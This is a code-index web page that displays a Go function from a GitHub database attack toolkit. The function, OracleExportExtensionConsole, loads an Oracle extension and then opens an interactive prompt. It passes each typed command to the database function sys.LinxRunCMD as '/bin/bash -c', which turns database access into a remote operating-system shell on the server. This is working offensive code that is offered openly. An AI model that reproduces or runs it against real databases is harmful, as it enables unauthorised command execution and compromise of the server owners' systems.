MCPcopy Create free account
hub / github.com/Hel10-Web/Databasetools / OracleExportExtensionConsole

Function OracleExportExtensionConsole

pac/oracle_export_extension.go:40–63  ·  view source on GitHub ↗
(conn *sql.DB)

Source from the content-addressed store, hash-verified

38}
39
40func OracleExportExtensionConsole(conn *sql.DB) {
41
42 Info("执行系统命令")
43 OracleExportExtension(conn)
44 reader := bufio.NewReader(os.Stdin)
45 for {
46 var cmd string
47 fmt.Printf("%s:%s> $ ", Rhost, Rport)
48 cmd, _ = reader.ReadString('\n')
49 cmd = strings.TrimRight(cmd, "\r\n")
50 if cmd == "exit" || cmd == "q" || cmd == "quit" {
51 break
52 }
53 resultSet, err := OracleCMD(fmt.Sprintf("select sys.LinxRunCMD('/bin/bash -c /usr/bin/%s') from dual", cmd), conn)
54 for _, m := range resultSet {
55 for _, value := range m {
56 fmt.Println(fmt.Sprintf("%s", value))
57 }
58 }
59 if err != nil {
60 Err(err)
61 }
62 }
63}
64
65func OracleExportExtensionCMD(cmd string, conn *sql.DB) {
66 Info("执行系统命令")

Callers 1

HelpFunction · 0.85

Calls 4

InfoFunction · 0.85
OracleExportExtensionFunction · 0.85
OracleCMDFunction · 0.85
ErrFunction · 0.85

Tested by

no test coverage detected